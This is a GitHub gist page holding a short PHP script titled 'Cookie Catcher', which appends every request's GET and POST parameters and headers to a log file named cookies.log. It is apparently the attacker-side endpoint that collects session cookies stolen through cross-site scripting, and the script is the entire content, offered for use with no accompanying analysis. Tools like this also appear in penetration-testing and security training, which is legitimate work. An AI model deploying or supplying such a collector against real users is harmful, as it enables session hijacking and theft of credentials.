Created
September 11, 2025 23:28
-
-
Save joswr1ght/61f9b072fd724c6433ca3964ded469d5 to your computer and use it in GitHub Desktop.
Simple PHP Script to Log Request Data (aka "Cookie Catcher")
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <?php | |
| file_put_contents("cookies.log", json_encode(array( | |
| "GET"=>$_GET, | |
| "POST"=>$_POST, | |
| "headers"=>getallheaders()))."\n", | |
| FILE_APPEND); | |
| ?> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment